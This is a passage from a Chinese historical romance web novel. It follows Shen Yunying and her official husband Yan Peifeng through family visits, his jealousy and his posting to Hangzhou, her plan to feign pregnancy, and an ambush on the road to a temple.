大哥那里有客登门,耽搁一会儿就来。”蒋高恒解释道。现下还没上菜, 他坐得憋闷,干脆行至窗边。 沈云楹点点头, 上次一别,沈云楹没再和蒋高恒联系过,突然见面有点生疏,她想着能问问蒋高恒这大半年走过的地方遇到的趣事。可她看得出来,蒋高恒心情不太好,就没开口问。 蒋高恒察言观色的本事愈发纯熟,轻笑道:“表妹从姑母那儿得知, 我被祖父赶来京城备考了?” 沈云楹温声道:“二表兄—” 不等沈云楹宽慰几句,蒋高恒就笑道:“表妹不必说好听话,不如就听听我吐苦水。” 沈云楹一愣,反应过来就是当书房的纸篓子呗,一本正经道:“表兄可以开始了。” 这幅洗耳恭听的模样,逗笑蒋高恒,他本是聪颖通透之人,只是本性不喜拘束,觉得祖父打乱自己的计划,心里不畅快。 “逍遥日子一去不复返啊。”短短一句话,蒋高恒说得一波三折,成功让沈云楹的唇角轻轻勾起,有些生疏的气氛瞬间欢快几分。 “祖父就是嫉妒我优哉游哉游学,非要说我的山水集不佳,太不像样。要做名士,怎么也得有个进士功名。”蒋高恒无奈摇头,“祖父还说对我放宽了条件,不要求考上进士,总要是一个举人。” 沈云楹只能用大而清澈的眼神看向蒋高恒,外祖父好严格,轻声回道:“严祖出高孙。” 蒋高恒噗嗤一笑,“表妹这话,和祖父一个模子刻出来的。你们真该见见,一定是对好祖孙。” “二表兄谬赞。”沈云楹笑吟吟地望向窗外,正月里雪多,外面银装素裹一片。 蒋高恒突然想起对沈云楹的承诺,“今儿知道表妹要来,之前答应你的游记,我给你带来了。” 他的目光投向四四方方的梨花木盒子。 沈云楹眼眸一亮,欣喜道:“该我给表兄送礼,却要先带走表兄的礼。” 两人对视一眼,仿佛回到去年带着蒋琬一起逛街的日子,那时日子快乐又无忧。沈云楹问起蒋琬的近况,蒋高恒挑着几件蒋琬在家的趣事一说,两人相谈甚欢。 很快,蒋高鑫到了。一进门先问候沈云楹,就对蒋高恒道:“房间给你收拾出了,今夜开始随我苦读。” 蒋高恒大惊,试探问:“明日行不行?大哥,让我再歇一日。” 蒋高鑫无情驳回,“一日复一日,明日何其多。你有天分,就不能浪费,八月就是秋闱了,很快的。” 蒋高恒仰头长叹。 “行了,做什么怪,让表妹看你笑话。”蒋高鑫锐利的眼神一扫,蒋高恒声音卡住,他对沈云楹道:“吃饭吧。” 沈云楹忍着没笑出声。没想到蒋家两兄弟相处时一物降一物的模式。 —— 沈云楹与蒋家两位表兄相处融洽和乐,全然不知楼下缓缓驶来一辆燕家的马车,恰好将这一幕收入眼中。 范广侑的事刚落定,以唐家定罪结案。但燕培风的杭州知府位置却没能及时定下。今日中午,燕培风没留在户部用膳,而是想出来散散。 思齐瞧出燕培风周遭的温度比外头的冰雪还要冷上三分,突然想起一件事,扬高声音道:“主子,早上出门前夫人差银屏送来一支紫檀雕竹节狼毫笔,让您去衙门用呢。奴才放在抽屉里,您要不要瞧瞧?” 银屏送来的时候说,本应昨日从太师府回来就送的,夫人忙忘了。赶着燕培风去衙门前送,直接拿去衙门用也好。思齐没提忘记的事。 燕培风一愣,将紫檀雕竹节狼毫笔取出,郁结的眉宇舒展开来,唇角上扬。他想,沈云楹不是不学无术之辈,送东西的讲究她都懂。 狼毫笔,狼同郎。 暗藏的心思,他懂。 手中正摩挲着这支狼毫笔,燕培风一抬头却从风吹起的车帘看到沈云楹与蒋高恒言笑晏晏的画面。 沈云楹一身橘红襦裙,笑容明媚,微微侧头,露出修长白皙的脖颈,整个人如牡丹娇艳。 燕培风忽觉心头一哽。 表兄妹,怎么就不是亲兄妹呢? 可怜思齐刚感觉到燕培风周遭暖如春风片刻,就又迎来寒霜冰雪,他机智循着燕培风的目光看去,顿时心中警铃大作。 无他,思齐过年归宁去太师府时,得知一个大消息,原来沈云楹和蒋高恒曾经议过亲。太师府家的下人闲聊时被他听到了。 思齐迅速瞥一眼燕培风,下定决心道:“主子,奴才有一件事要禀报。” “说。” 车内传出冷冷的一个字。 思齐深吸一口气,“夫人曾和蒋家二公子议过亲,进行到了合八字。” “啪!” 木头被生生折断的声音。 这一声如重锤敲在思齐心头,后背惊出一身冷汗。 燕培风没控制住力道,紫檀雕竹节狼暴毙还没开笔就被从中折断。他望着参差不齐的断口,怔愣片刻,锋利的凤眸闪过后悔之色,这是沈云楹刚送的笔。 他瞬间想起杨嬷嬷孙女的告状,那时就算有蒋琬这个小姑娘在,蒋高恒带着沈云楹出入文会,逛吃食首饰,怎么不能是提前培养感情呢? 燕培风清楚,沈云楹心里只有自己,二人之间并无私情,可胸腔就像这长满细碎木刺的断口,小但膈应,格外刺疼。 燕培风没有用膳的兴致,让车夫直接回户部。 —— 饭毕,沈云楹拎着蒋高鑫和蒋高恒送的小礼物欢欢喜喜回家。蒋高鑫也知道沈云楹喜欢看游记,他收到不少沈云楹送来的好东西,便在国子监的同窗好友中寻到外头没有的游记书籍,手抄一本当做回礼。 这次沈云楹一下得了两本喜欢的书,回到铮然居就埋头开看。 银屏进来问晚膳吃什么,沈云楹就想随意吃一点打发,谁知,前院传话,燕培风要过来吃晚膳。 沈云楹奇道:“今儿日子不对吧?” “今日二十二。”银筝回道。 “老太爷和老夫人在府上呢。”银屏提醒。 沈云楹恍然大悟,这阵子燕培风一直忙,随着登闻鼓事件落定,燕培风要是还不来铮然居,燕祖父和燕祖母可能又得找她和燕培风说话。有前例摆在那儿呢。 沈云楹合上书本,“那就吃丰盛点,多上两个菜。” 燕培风和晚膳同时来到铮然居,沈云楹抬头去看燕培风,暗想他来得真巧。还是小厨房的人眼色足,掐着点送来。 燕培风似乎心情不佳,薄唇紧抿,幽深的凤眸望向沈云楹,让她浑身一颤,觉得不太对劲? 晚膳安安静静用完,沈云楹又觉得刚刚想多了。 沈云楹问:“夫君还回前院吗?” 燕培风眸色暗沉几分,突然握住沈云楹的柔夷,嗓音低沉动听,“夫人,我们元宵欠了一夜,今晚我来收账。” 第69章 要休沐 沈云楹怔愣一瞬, 之前不是没有错过的时候,燕培风从来没提过补账的事。她直接默认过期作废的原则,过了就是过了。 片刻的失神, 沈云楹只觉浑身一轻,整个人腾空, 眼前已经是鹅黄蝙蝠如意帐子顶, 燕培风的亲吻住骤然落下, 轻拢慢捻抹复挑,时而轻缓, 时而用力,沈云楹不禁抬起头迎上去。 自从燕培风房中技术精进之后,沈云楹本着该享受享受的念头,也跟着看了两本, 两个人逐渐练出默契配合。 衣衫落尽,燕培风伸手在床边摸出装着的琉璃鱼儿袋子。 春光旖旎,盈盈满室。 餍足的燕培风心满意足搂着妻子, 沈云楹香汗淋漓,两人刚刚平稳气息, 突然的安静反而让人不停回想方才的激烈情事。 沈云楹缓缓闭上眼睛,她今儿挺累的。白天黑夜都没闲着。 燕培风低头看着快睡着的沈云楹, 凤眸微暗,将人往自己怀里带了带才闭上眼睛。 翌日,沈云楹醒得早,她发现冬天有燕培风陪着睡挺好的,夜里暖和,睡得香甜。就算早起也不觉得困乏。 燕培风要去户部点卯,早膳送来得早。沈云楹闻着鱼肉丸子粉面的香气, 欢欢喜喜的和燕培风用早膳。 冬日冰雪封住河湖,鱼肉难得,沈云楹有一段时间没吃鱼,一时胃口大开。 饭毕,燕培风系上披风准备出门,忽然问:“夫人今日可要出门?” “不出去。”沈云楹摇摇头,“昨天去了二表兄的接风宴,今儿在家陪祖母说说话。” 燕祖父和燕祖母还在府里,但王大夫的药方有安神之效,晨昏定省只剩下一个。沈云楹每日都会抽空去陪燕祖母一阵。 “蒋高恒来京城了?”燕培风嗓音一如既往的温和。 沈云楹想到外祖父撵蒋高恒来京城,深表同情的时候还有点想笑,她笑着把这事儿告诉燕培风,“对啊。外祖父自己不管二表兄,把人撵来京城给大表兄管。等秋闱二表兄还得回江南考试。” 燕培风微微颔首,“秀才的确低了点。” 他心下速算出来,八月秋闱,蒋高恒七月离京,现下才正月。要是沈云楹独自留京,岂不是日日都能和这位二表兄见面? 狭长的凤眸微眯,燕培风迈步走到门口,沈云楹贪懒,只要夜里疲累,白日就不想出门。 “我去户部了。”燕培风沉声道。 “夫君慢走。” 沈云楹笑吟吟送走燕培风,转身去书房,蒋家两位表兄送的游记她还没看完呢。 接下来七天,燕培风夜夜来铮然居,搁在床头的琉璃鱼儿袋子换了两袋,眼看第三袋也要用尽,沈云楹深深吸口气,她累了。 沈云楹涂红今日的一瓣,书房的这幅九九消寒图,还剩下最后一朵白梅。 “涂得很好啊,没晕墨,也没出线。夫人怎么还叹气?”银筝歪头看了看,没看出来沈云楹为何心情不好。 沈云楹幽幽道:“银筝,祖父祖母什么时候回范州啊?” 沈云楹怀疑燕培风一朝被蛇咬十年怕井绳,有燕祖父和燕祖母在一日,燕培风就不会回前院书房待着。 八天了,不知燕培风今晚还来不来。 朝廷十日一休沐,她这后宅小妇人都快赶上了。她也想要休沐! 银筝思考了一会儿,“这个,老太爷和老夫人那边没提过什么时候走,奴婢也不知。” 上回新婚两位老人家来,离开的日子早就定好,这次没给准话,谁也不知道。 “不过,老管家的事已经解决,约莫再住个两三天?”银筝不确定,从上回的行事作风判断,燕家祖父母更愿意去范州。 沈云楹提不起精神,坐下道:“希望如此,我再等两天。”她心里的底线,不能比朝廷官员还要劳碌。 好在今日晚膳后,燕家祖父祖母提出第二天就回范州。 “事情尘埃落定,我们也该走了。好在没太耽误你。”燕祖父声音惆怅又庆幸,头上鬓白的头发多了一片,他心里对老管家的背叛始终耿耿于怀。 燕培风知道自己接下来要离京,祖父祖母回范州反而安全些,非但不生气,还催着两人回去。 “一点小事,孙儿不惧。”燕培风面色从容平静,“倒是祖父您不必挂怀,主仆情分尽了,您别强求。 ” 临老临老被心腹背叛,还要孙儿燕培风擦屁股和宽慰,燕祖父脸上挂不住,只笑笑道:“我知道,知道。” 燕老管家对自己孙子的行事不可能一无所知。可他没制止,没上报,只任由燕恩随心胡闹。 理智是一回事。总是相处大半辈子的人,这对燕祖父来说,是个不小的打击。 燕祖母当着家里燕祖父和燕培风的面,把在范州置办的族田和祭田地契拿给沈云楹,语重心长道:“云楹,这大半年你把府里料理得井井有条,我都看在眼里。现在我年纪大了,咱们家里和族里的事,也该交给你打理。” “这两样东西是我们家里压箱底的家当,不到生死不可擅动。”燕祖母这声嘱咐沉稳有力,眼神直直盯着沈云楹。 自古一来,就是皇上下令抄家,也不会动族里的祭田。 沈云楹心里惊讶燕祖母的举动,面上郑重地点头,“孙媳谨遵祖母教诲。” 二月初一,燕祖父和燕祖母离京,沈云楹送至城门口。 回城马车上,银屏高兴道:“老夫人很信任夫人呢,连燕家族里的事务都交给您了。” 这代表燕祖父母看重沈云楹,而沈云楹燕家主母的位置越来越稳。 沈云楹点点头,是好事,“就是感觉祖母在补偿我和燕培风?”事都让燕培风担,好处反而让自己得了。沈云楹有点不好意思。 银屏道:“别管因由,咱看结果。让原先留在范州的嬷嬷再多留一阵,去族田和祭田看看,回来跟您说一下实际情况。” “祖母说族田和祭田的收入都归族中,我们只管田里事。”沈云楹大概了解过。 现在更开心的是,今晚总算能不用陪燕培风会周公了! 第70章 忽悠 燕培风一回府习惯往铮然居走去, 刚进门就和收拾碗筷的丫鬟擦肩而过,他大步迈进屋,边问:“你今天都忙些什么?这么早用晚膳?” 屋内茶香袅袅, 沈云楹正在看银筝沏普洱茶饼。晚膳有一碟酱肘子,炖得外酥里嫩, 又过了一层薄薄的蜂蜜, 沈云楹又心情好, 一不小心吃撑了。 看到燕培风,沈云楹目露惊讶, “你怎么来我这儿了?” 燕培风一噎,撩起下摆坐在沈云楹身边,拿起斗彩茶盏往银筝面前一放,侧头看沈云楹, “夫人不想看到我?” 他日日来,沈云楹不是很高兴?昨夜床帐里还那么欢愉合拍? 沈云楹温声提醒:“祖父祖母今日回范州了。”你不必天天晚上来铮然居,没人盯着咱两看是不是恩爱夫妻了呀。 燕培风略略抬起眼皮, 平静道:“嗯,我们早上一起去送行。”他还不至于忘记的这么快。燕培风的目光直直盯着沈云楹, 她在赶人吗? 沈云楹心想,是啊, 早上她和燕培风一起去送行。那今晚,燕培风不该在前院书房彻夜忙公事? 对啊,燕培风说过要外任,所以公务少了? 沈云楹端过温热的茶盏,双手捧着,手心变得热乎起来,才轻声问:“你外任的日子定了吗?” 她心里还惦念着一件事, 随行。 说到外任,燕培风长眉微蹙,“还没,吏部文书没下来。”调任的事卡在吏部,出乎燕培风的预料。 就不知道是推荐名单上的官员发力,想争一争,还是其他人针对自己, 闻言,沈云楹心里一沉,她觉得皇上和燕培风共同想做的事情,肯定能成。到了杭州,燕培风面上的公务繁忙,暗地里还得调查盐税,个中艰难风险,她不认为自己能做到。 沈云楹想远离这些是是非非,又不忍燕培风独自在杭州,犹犹豫豫地问:“那我要随你去外任吗?” 她的声音又轻又软,因为底气不足,沈云楹咬住殷红的唇畔,如水杏眸怔怔望着燕培风。 燕培风眉峰一挑,胸膛发出一声闷笑,嗓音低沉悦耳,“你说呢?” 沈云楹忽觉耳尖一红,伸手去拿前边的蜜橘,腰间忽然传来一下刺疼。想到这是连日床榻胡闹的后果,沈云楹的面颊都有些发热,她赶忙错开燕培风摄人心魄的直勾勾眼神。 房事需谨慎。沈云楹觉得趁外任的机会,两人分开一阵挺好的。 喝一口热茶压压惊,沈云楹轻咳一声才道:“你去办正事,我还是不给你添乱了吧?” 燕培风明白沈云楹的意思,他最近也在考虑这事。燕培风既想带着沈云楹一起去,又觉得留她在京城更安全。 既然沈云楹想留在京城,那就留下。燕培风微微颔首,“也好。” “可是皇上和皇后的意思,想你跟着去。” 闻言,沈云楹眼神一闪,这是个好机会。 “我有孕了,不宜远行。” “你有孕了?”燕培风蹭的站起来,一双凤眸慌张的上上下下打量沈云楹,追问道:“那袋子破了?你的身体,大夫怎么说?” 燕培风骤然拔高的声音吓了沈云楹一跳。 沈云楹眨眨眼,忙拉住燕培风的胳膊,低声道:“不是,我没有。不是,我的意思是,我们这么跟皇上皇后说,这就是我不跟着你去杭州的理由。” 不过片刻时间,燕培风的心提起又放下,仿佛从悬崖猛然摔下,又安稳落地。他面上迅速恢复平静。 沈云楹留神观察燕培风的神色,继续道:“等到三个月,再不慎小产。”这样还有一个好处,她就不用被催着生孩子。 燕祖母临走前特意拉着她的手问孩子的事,还塞了一个生子方子。皇后除夕宴赐了送子观音,虽然私下跟她说子嗣不急,但是也暗示皇上的态度,皇上着急。 昨天皇上给燕家祖父母送东西的时候,汪公公看在厚红封的份上,还悄悄告诉沈云楹,皇上盼着燕培风的子嗣,话里话外暗示,如此最能讨好圣心。 沈云楹真真切切感受到压力,皇上催生子,她得有个应对方法。 燕培风越听眉头越是紧锁,反驳道:“胡闹。你不能咒自己。” “我这是不拘小节。”沈云楹不在意摆摆手,反问燕培风:“那你有别的办法应付宫里?” 燕培风心里仍不想用这个理由,子不语怪力乱神,好好的身体,最好别沾上这种理由。只是,他一时没想到更好的法子。 “还有时间,再等等。”燕培风皱眉道。 沈云楹点点头,“好吧。” 她心想,这个办法挺好的,燕培风怎么还犹豫? 沈云楹想起银筝跟她说的下人间小话。燕培风和沈云楹成婚大半年,又没个小妾通房,沈云楹还没怀孕。不知道燕培风雄风不振,还是沈云楹不易有孕。 她余光瞅了瞅燕培风,或许应该跟燕培风说一下这个流言? 沈云楹赤裸裸的打量,视线往男人的下半身而去,燕培风还能没个察觉?他以为沈云楹有此意图,直接伸手将人抱起来,两人相拥着倒在床上。 沈云楹抬手抵在他胸前,出声道:“夫君,歇一夜吧。就是田间的牛干了八天活,也要休沐一日。” 燕培风轻笑一声,“我不努力,你怎么有孩子?” 沈云楹刚认同点头,燕培风的吻就如急雨落下。 等事毕,沈云楹狠狠瞪燕培风一眼,刚刚被他忽悠了。有孩子,那是燕培风之前努力的功劳。 有今晚什么事! —— 文德殿。 王御史义正严词道:“皇上,燕大人刚刚涉案,逃脱不了一个御下不严的罪名。”他心中不忿,认为这事另有内情,一定是皇上为燕培风开脱,现在皇上还要为燕培风搭梯子外任高升,岂有此理? “依微臣看,燕大人年轻气盛,不如回翰林院磨砺几年。实不宜调任杭州知府。” 王御史更想让燕培风去贫苦县吃苦受累几年,可是话到喉咙口又改了,图惹皇上不愉。 高坐上首的皇上面色一沉,他有点后悔没有速战速决,应该直接跟吏部尚书通口气直接把这事儿办了。 事情匆忙,皇上吩咐汪公公往吏部递话,让吏部走个流程。没想到有人敢从中作梗,把燕培风调任的事闹大。本应该悄无声息办完的事,愣是卡在吏部。 “范广侑之事,培风是清白的。王御史若是有疑问,就去看看刑部的卷宗。”皇上嗓音很低,眸光扫过王御史。 皇上平日待下宽和,但发起脾气来,那时威势极重。王御史听出皇上话中的警告,没再冒头。 吏部侍郎与钱兴斌对视一眼,出列道:“皇上,燕大人刚接手户部职务,您也曾夸他严谨心细,适合待在户部,应当在户部多沉淀两年,积累经验。无功无过,频繁调动,不合规矩。这也是为燕大人着想。” “再有,杭州知府去得急,接手之人要尽快接手处置政事。吏部递上去的举荐五人,每一个都有治理地方的经历,依微臣看,比燕大人更合适些。还请皇上慎重考虑。” 皇上拧眉,往底下扫一圈,众位大臣面色各异,赞同的,反对的,作壁上观的,他在上首一目了然。 皇上的目光落在吏部尚书身上,最好叫他办成这件事。皇上与朝臣交锋经验丰富,地低声道:“嗯,爱卿顾虑的是。培风在户部的表现可圈可点,去了杭州不会差。若无其他事,就散了吧。” 散朝后,皇上留下吏部尚书。翌日,燕培风调任的文书就送到他户部的班房。 沈云楹也得了消息,燕培风异常繁忙,沈云楹也不问他在忙什么。夜里,思齐来传话,燕培风晚上不回府,还说定下二月十二出发。 除了打点行李车马,沈云楹还约了蒋文笙一块儿去城外灵城寺求平安符。 京城两大寺庙,护国寺在城内,求子灵验。城外灵城寺,求平安更好。 沈云楹去太师府接蒋文笙,母女两个坐同一辆马车。沈云楹跟蒋文笙说不跟着赴任。 蒋文笙奇怪地看着沈云楹:“你为何不跟着去?” 以沈云楹的性子,应该更想跟着去杭州看看风景。 沈云楹不能说盐税的事,双手抱着蒋文笙的胳膊,撒娇道:“我舍不得娘啊,京城繁华,哪儿哪儿都好。我才不想离开。再说,上次跟着去汴梁,路途颠簸,难受得紧。又碰上水患,外边的大夫和京城的大夫差远了。” 最后总结,“我觉得看游记是享受,千里奔波就是吃苦了。” 蒋文笙本就舍不得女儿,听沈云楹这么一说,想起去年牵肠挂肚的那段日子,她真担心沈云楹也折在张秋镇的水患中。 不跟着去杭州也好。 燕培风年轻,沈云楹又貌美,两人干柴烈火的,不一定能忍几年。两人分隔两地,等燕培风从杭州回来,沈云楹正好能怀一个孩子。 蒋文笙越想越觉得可行。 “你上无公婆伺候,下无子嗣教养,用什么理由留京呢?” 沈云楹不好意思笑笑,凑到蒋文笙耳边低声说:“怀孕。” 蒋文笙惊得眼眸放大,诧异望向沈云楹,“你说什么?” “怀孕啊。”沈云楹重复道,将自己的有孕、流产、休息一条龙计划告诉和盘托出。 蒋文笙真是不知道说什么,几次张口,又觉得沈云楹说得有理,最后点头道:“也行吧。我帮你留意流产的妇人。” “谢谢娘,”多一个帮手,沈云楹心里更有底,她挽着蒋文笙的胳膊吃点心。《 》 70-80 第71章 心慌 东宫。 燕培风与太子下棋品茗。 太子唇边噙着一抹笑, 这已经是第三盘棋,他满目兴味地看着对面的燕培风。平日燕培风能陪他下一局就会找借口逃了,这会儿竟然还有继续下去的架势。 太子笑道:“琴儿还有两个月生产, 东宫人心又开始浮动。不知道这次能拔出多少钉子。” 太子妃有孕两月后,东宫便放出风声, 腹中胎儿为女, 省却许多麻烦, 太子妃得以安静养胎。马上就到瓜熟蒂落的时候,东宫的人不再安分。 燕培风赞道:“太子妙计无双, 肃清东宫指日可待。” 噗嗤一声轻笑,太子抬眸盯着自己这位温润从容的表弟。燕培风这么一本正经地夸自己,上回是什么时候来着?是自己和琴儿新婚,用一副宵寒真人的真迹托燕培风在琴儿面前为自己说好话。 燕培风清俊的眉眼一抬, 对上太子戏谑的眼神,他面色不变,手中棋子停顿片刻, 接着就放到棋盘之上,仿佛方才只是思考棋局。 “定下离京日子了吗?”太子眉头微皱, 心思立刻转移到自己节节败退的战局上。 棋局胜负已分,再有一子, 燕培风便能取胜,他毫不犹豫落下,“二月十二我便动身去杭州。” 燕培风的目光跃向窗外,手中的茶正好是普洱,是最近沈云楹最喜欢的茶,他回转视线,郑重道:“此去少则三年, 京中别无牵挂,只是夫人留京,若她遇到难处,还请太子与太子妃看顾一二。” 话刚说完,太子满口应下,“弟妹在京中,有母后与琴儿看着。”又从袖中掏出一枚饕餮玉佩,“我会让人暗中留意。要是弟妹遇到难事,就拿着这块玉佩去青云当铺。掌柜的一看便知。” 燕培风没想到还有这层收获,青云当铺是太子私下培养的势力。他立刻接过玉佩,“多谢太子表兄。” 说定此事,燕培风难得又陪太子再来一局,看得太子啧啧称奇,笑道:“还是弟妹面子大。” 他看了一眼耐心十足的燕培风,还是开口问:“你为何不带着她一起去?” 沉默片刻,燕培风才回:“杭州事多,京中更安全。” 沈云楹已经在为他收拾行囊,只有他一人的份。可燕培风还在犹豫,他处事一向利落,在这件事难得纠结许久,从得知外任的消息开始,燕培风便在心中暗自琢磨。想到沈云楹兴冲冲的假孕计划,燕培风唇角微弯,她的聪明劲儿总是用来让自己过得舒服。 不错。 燕培风欣赏她的这份真性情。 太子心里知道盐税底下的暗流汹涌,没再多说。忽然起身凑近,低声问:“表弟啊,京中有一则传言。你冷落弟妹,偏偏府中又没有妾室。你要是有外室,不如这次抓紧机会带走?” “我没兴趣金屋藏娇。”燕培风冷冷道。 “琴儿有孕,总是劝着我去良娣良媛的院子,我都不想去,就想赖在她那儿。真是为难我。弟妹给你安排随行伺候的人没有啊?”太子笑得双眸发亮。 燕培风深吸一口气,看着在故意炫耀的太子,微微一笑,“表兄,您四连输了。” 沈云楹没提这事儿,燕培风懒得带女子随行,他想着沈云楹心仪自己,虽说女子不宜妒忌,但让她为自己安排别的女人伺候,心中肯定难过。沈云楹不提,燕培风就当没这回事。省得沈云楹伤心。 太子惊呼一声,瞪着燕培风,仔细看一遍,惋惜道:“我差点就能赢了。惜败啊!” 燕培风以一句惜败也是败,气得太子缠着他连下三局,最后从惜败到惨败,直接赶燕培风出东宫。 燕培风笑着走出东宫,今日来找太子的目的达成,还多了一个救急玉佩。看在这块玉佩的份上,刚刚不应该大杀四方,该让太子赢一局的。 刚走出宫门,思齐急急上前,满脸慌张,抖声道:“主子,夫人在灵城寺摔伤了,你快些去瞧瞧吧。” 燕培风脸上的笑意瞬间消失,皱眉道:“为何会摔伤?夫人去灵城寺做什么?” 沈云楹身边有丫鬟嬷嬷护卫,她还不爱出门,临近他外任的时候,沈云楹一心为他收拾行李,怎么会突然出门,谁约她出去? 难道是蒋高恒? “和谁去的?”燕培风的声音低了几分,又忧又恼。 思齐忙回:“禀报的小厮说夫人从山道阶梯摔下来,吐了血,情况不太好。”他抬眼看看燕培风,小声说:“夫人去为您去求平安符,银屏姑娘说的。” 上马的动作一顿,燕培风扬起马鞭,黄风驹鸣叫一声,迅速飞驰而去。 思齐忙打马追上去,他还没跟燕培风禀报,刚刚私自做主用燕培风的帖子请了太医去灵城寺。 两人都不曾留意,他们刚走,就有人匆匆离开,躲进一个无人小巷,朝天放一朵烟花信号。 出了京城城门,经过官道,拐进红霞山的山道,眼看灵城寺就在眼前,面前的道路骤然升起一条银线,燕培风和思齐纷纷勒马停下。 两侧树林窜出一伙人,为首的那个身高八尺,虎背熊腰,右手举着一把银光闪闪的大刀。 高大汉子满眼怨恨,举起刀就朝燕培风砍去。 燕培风双腿一蹬,轻盈落马,马腹划出深深的血痕,疼得黄风驹哀鸣一声,吓得它往边上躲去,大大的眼睛瞪着高大汉子。 “燕培风,你躲不了,速来受死!”高大汉子声音粗犷,拎刀追上。 燕培风面色一沉,有人在这里埋伏要他的命。那在灵城寺的沈云楹?燕培风只觉心慌得厉害,他强压下这股担心。只有解决这些人,才能去沈云楹身边。 他扫视一圈,两个匪徒对付思齐,剩下八个人都围着自己,个个都带着刀剑。 此时,燕培风很庆幸他不是手无缚鸡之力的书生,还有带着寸指剑的好习惯。 “你是谁?我们又有何仇怨?竟敢冒险在京城脚下杀人。”燕培风不如高大汉子想象中害怕露丑态,反而镇定自若地问话。 高大汉子冷哼一声,“你到地狱做个糊涂鬼吧!” 说完,提刀刺来。 见套不出话,燕培风闪身躲过,右手的指尖银光一亮,趁对方不备,迅速擦过他的脖颈。 —— 灵城寺一年四季都有达官贵人来上香,为了招待好这些香客,后山有四时景色可观赏。 此时残雪未消,但春日的脚步已经临近。向阳山坡上,栽满山桃花和山杏花,花苞初开,浅粉色的花朵如星布满山间。 沈云楹和蒋文笙求到平安符,一共五枚。沈云楹夫妻,蒋文笙一枚,蒋文笙礼貌性为公婆求两枚。 寺庙小沙弥听说沈云楹想在寺庙赏景,就推荐后山向阳坡。 沈云楹觉得蒋文笙难得出门,沈家有沈老夫人在,蒋文笙每次出门要请示,很不方便。沈云楹就想带母亲多逛逛。 山道宽敞低矮,沈云楹和蒋文笙慢慢往上走。 山花浪漫,花香宜人。乡野的花与院子里的花大不相同,蒋文笙太久没有看过这么生机勃勃的景色,脸上浮现一抹笑意。 “上次来灵城寺是十五年前了,那会儿是为你父亲来的,山上的景色不如现在。”蒋文笙回忆起刚丧夫时候的点滴,不免想到第一次来灵城寺,她刚嫁到京城,沈风诚还在翰林院,并不十分忙碌,能陪她出门上香。 沈云楹笑道:“等开春,我再陪娘来。”借口她都想好了,还愿。 蒋文笙笑笑没说话,沈老夫人可没那么容易放她出门。寡妇本就该深居简出。寡妇的身份有利有弊,好在蒋文笙是个耐得住的人,并不计较。 “老夫人以为你也跟着去杭州,这次连一句阻拦的话都没有。”蒋文笙笑道,沈老夫人只是看在母女分离的面上不好阻拦。 沈云楹轻松的笑意没了,她那位祖母真是,比划出银河不让牛郎织女见面的王母还可恶。沈云楹还打算在京城的日子里,常常约母亲出来,母女两个吃吃喝喝,赏景听戏,过舒坦快活的日子呢。 有沈老夫人在,这种美好的场景难成真啊。 沈云楹不由叹口气,她抬头望山,天地广阔,绿树成荫,山花点缀其间,只能看一次多可惜。她杏眸一转,开始琢磨,多寻几个借口让蒋文笙过来陪她住,静远斋再舒服,再好看,住了那么多年,蒋文笙也看倦了。 蒋文笙侧头看着眼神转来转去的女儿,笑问:“打什么花头主意呢?” 沈云楹忙凑近蒋文笙,挽着她的胳膊,“我在想怎么能和娘住在一起啊。” “尽琢磨些歪主意。”蒋文笙嘴上没好气,脸上的笑意却更深了。她拍拍沈云楹的脑袋,“你啊,该想的不想,不该想的一个劲儿的钻。” 沈云楹秀眉蹙起,她思索一番,还是不知道蒋文笙在指什么。 蒋文笙提醒,“你不跟着女婿赴任,要不要安排人去伺候?是丫鬟,还是要提个姨娘?” “外任不带正妻的官员多的是,可是后院交际往来不能少。通房丫鬟的身份不够,得有个撑场面的姨娘才好。” “再有,你得防一手,若是女婿与姨娘日久生情,你身为正妻,没有子嗣,如何行事。” 一连串的问题砸来,沈云楹欢快的心情彻底被击碎。 “这,我还没想到。”沈云楹弱弱的回道,她根本没有准备随行伺候的丫鬟和姨娘。而且,燕培风也没提这一茬。 蒋文笙一脸我就知道的神情,沈云楹赶忙上去讨教。 第72章 做梦 灵城寺香客院。 燕培风满身戾气, 飞快进院,见银筝站在庭院摆弄针线,肃容急问:“夫人怎么样了?” 他衣裳带血, 语气又快又急,银筝惊得一下, 忙回答:“夫人在屋里歇晌。” 燕培风关心则乱, 没留意歇晌的字眼, 里里外外很安静,就问:“太医呢?” 银筝讷讷道:“太医走了。”燕培风冰冷的眼神冻得她一个激灵, 她看着受伤的燕培风,咽了咽喉咙,“奴婢去唤太医回来。” 说完,银筝转身跑出去。心里还想, 原来刚刚那太医是为老爷来的啊,那他怎不说清楚?真是个糊涂太医。还好太医刚走,能追得上。 燕培风一迈入里间, 就看到沈云楹闭目沉睡。她身上盖着灵城寺的被褥,通身浅灰色, 边角缝着宝相花纹。沈云楹眉宇微蹙,似乎在忍疼。 燕培风长睫轻颤, 竟心生胆怯。时至此刻,燕培风不得不承认,沈云楹入了他的心。他对沈云楹也有了喜欢。 因为牵挂在灵城寺的沈云楹,燕培风不顾杀敌一千自损八百,着急解决拦路的匪徒,不顾受伤要奔来看她是否安好。 看到她受伤躺在床上,第一个念头是很不得以身相替。 燕培风欲抬手帮她抚平, 可看到指腹沾染的血迹,他又缩回手,使劲在身上擦几下,擦干净后,才放心地伸手去触摸她眉眼。 屋内没人,燕培风无处问清楚沈云楹的病情,想着摔伤约莫在手脚和臀部,视线逐渐往下,燕培风眸光一凛,轻轻掀起被子一角,露出沈云楹淡紫色的寝衣。 燕培风急着知道沈云楹伤情,立即撩起裙摆,看看脚腕、膝盖有没有受伤。 沈云楹正在做梦,天气飘着细雪,她抱着手炉听炭盆传出烤栗子的啪啪声响,还有飘出来的栗子香,闻着味道就知道那栗子肯定软糯香甜。 她满心等着栗子烤熟,燕培风忽然像一阵风似的闯进来,没头没脑地道:“湖面解冻了,快点下水。” 沈云楹都来不及说话,就被燕培风跟拎孩子似的,掐着胳膊直愣愣地放下湖,冻得她脚脖子直打哆嗦。 沈云楹气得要开口骂两句,一回头却发现燕培风浑身是血,双目赤红盯着她,仿佛要挣脱牢笼的猛兽。燕培风何时有过这般模样?他是温润谦和君子,有时冷峻了些,但从没有如眼前这样可怖。沈云楹吓得心头狂跳,猛地惊醒过来。 沈云楹刚睁开眼睛,就忍不住缩起身体,太冷了,那股凉意仿佛从梦里冰湖带出来的一样上半身明明很暖和,下半身却冰冷刺骨。然而刚动,她的脚腕就被一双温热的手掌握住。 床畔的燕培风和梦中一样,深红的血迹浸透大半衣衫,月白的前襟像是长了一朵浓稠艳丽的红梅。前臂的血缓缓渗出,可燕培风面容依然清俊平静,若不是额角沁出薄汗,沈云楹都要怀疑自己看错了。 